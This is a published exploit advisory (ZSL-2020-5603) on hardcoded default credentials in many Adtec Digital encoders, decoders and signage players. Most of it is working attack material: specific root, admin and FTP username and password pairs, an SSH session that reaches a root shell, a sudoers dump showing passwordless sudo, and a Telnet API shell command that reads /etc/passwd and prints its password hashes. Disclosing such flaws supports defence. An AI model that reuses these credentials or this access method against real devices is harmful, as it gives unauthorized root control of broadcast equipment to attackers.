Adtec Digital Products Hardcoded Credentials / Remote Root

`# Exploit Title: Adtec Digital Multiple Products - Default Hardcoded Credentials Remote Root  
# Date: 2020-07-24  
# Exploit Author: LiquidWorm  
# Software Link: https://www.adtecdigital.com / https://www.adtecdigital.com/support/documents-downloads  
# Version: Multiple  
  
Adtec Digital Multiple Products - Default Hardcoded Credentials Remote Root  
  
  
Vendor: Adtec Digital, Inc.  
Product web page: https://www.adtecdigital.com  
https://www.adtecdigital.com/support/documents-downloads  
Affected version: SignEdje Digital Signage Player v2.08.28  
mediaHUB HD-Pro High & Standard Definition MPEG2 Encoder v3.07.19  
afiniti Multi-Carrier Platform v1905_11  
EN-31 Dual Channel DSNG Encoder / Modulator v2.01.15  
EN-210 Multi-CODEC 10-bit Encoder / Modulator v3.00.29  
EN-200 1080p AVC Low Latency Encoder / Modulator v3.00.29  
ED-71 10-bit / 1080p Integrated Receiver Decoder v2.02.24  
edje-5110 Standard Definition MPEG2 Encoder v1.02.05  
edje-4111 HD Digital Media Player v2.07.09  
Soloist HD-Pro Broadcast Decoder v2.07.09  
adManage Traffic & Media Management Application v2.5.4  
  
Summary: Adtec Digital is a leading manufacturer of Broadcast, Cable and IPTV products and  
solutions.  
  
Desc: The devices utilizes hard-coded and default credentials within its Linux distribution  
image for Web/Telnet/SSH access. A remote attacker could exploit this vulnerability by logging  
in using the default credentials for accessing the web interface or gain shell access as root.  
  
Tested on: GNU/Linux 4.1.8 (armv7l)  
GNU/Linux 3.12.38 (PowerPC)  
GNU/Linux 2.6.14 (PowerPC)  
Adtec Embedded Linux 0.9 (fido)  
Apache  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2020-5603  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5603.php  
  
  
24.07.2020  
  
--  
  
  
Creds:  
------  
  
adtec:none:500:1000:adtec:/media:/bin/sh  
admin:1admin!:502:502:admin:/home/admin:/bin/sh  
root1:1root!:0:0:root:/root:/bin/sh  
adtecftp:adtecftp2231  
  
  
SSH:  
----  
  
login as: root  
[email protected]'s password:  
  
Successfully logged in.  
Thank you for choosing Adtec Digital products-  
we know you had a choice and we appreciate your decision!  
  
root@targethostname:~# id  
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)  
--  
admin@targethostname:/$ id  
uid=502(admin) gid=502(admin) groups=0(root),502(admin)  
admin@targethostname:~$ id adtec  
uid=500(adtec) gid=1000(users) groups=1000(users),72(apache)  
admin@targethostname:~$ cat /etc/sudoers |grep -v "#"  
root ALL=(ALL) ALL  
apache ALL=(ALL) NOPASSWD: ALL  
  
  
Telnet (API):  
-------------  
  
Adtec Resident Telnet Server...  
UserName:  
adtec  
adtec  
PassWord:  
none  
User adtec connected  
*.SYSD SHELLCMD cat /etc/passwd  
*.SYSD CMD cat /etc/passwd  
OK  
root:he7TRuXjJjxfc:0:0:root:/root:/bin/sh  
adtec:GC1BpYa80PaoY:500:1000:adtec:/media:/bin/sh  
apache:!!:72:72:Apache Server:/dev/null:/sbin/nologin  
fregd:!!:73:73:Freg Daemon:/dev/null:/sbin/nologin  
ntp:!!:38:38:NTP Server:/dev/null:/sbin/nologin  
syslogd:!!:74:74:Syslog Daemon:/dev/null:/sbin/nologin  
admin:rDglOB38TVYRg:502:502:admin:/home/admin:/bin/sh  
sshd:x:71:65:SSH daemon:/var/lib/sshd:/bin/false  
avahi:x:82:82:Avahi Daemon:/dev/null/:/sbin/nologin  
avahi-autoipd:x:83:83:Avahi Autoipd:/dev/null/:/sbin/nologin  
messagebus:x:81:81:Message Bus Daemon:/dev/null:/sbin/nologin  
...  
...  
`